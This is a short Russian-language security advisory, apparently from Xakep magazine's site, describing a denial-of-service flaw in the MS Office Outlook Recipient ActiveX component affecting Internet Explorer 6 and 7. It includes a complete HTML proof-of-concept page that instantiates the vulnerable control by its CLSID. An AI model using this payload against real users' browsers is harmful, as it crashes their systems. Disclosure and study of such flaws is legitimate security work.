Отказ в обслуживании в MS Office Outlook Recipient ActiveX компоненте

Рекомендуем почитать:

Хакер #325. Шпионские штучки

• Содержание выпуска
• Подписка на «Хакер»-40%

Программа: MS Internet Explorer 6 & 7

Уязвимость позволяет удаленному злоумышленнику выполнить DoS атаку на целевую систему. Уязвимость существует из-за ошибки в MS Office Outlook Recipient ActiveX компоненте в ole32.dll. Эксплуатирование уязвимости приведет систему к отказу в обслуживании.

Пример:

<html>
<head>
<title></title>
</head>
<object classid="clsid:0006F023-0000-0000-C000-000000000046" id="oLook" width="180" height="14"></object>
</html>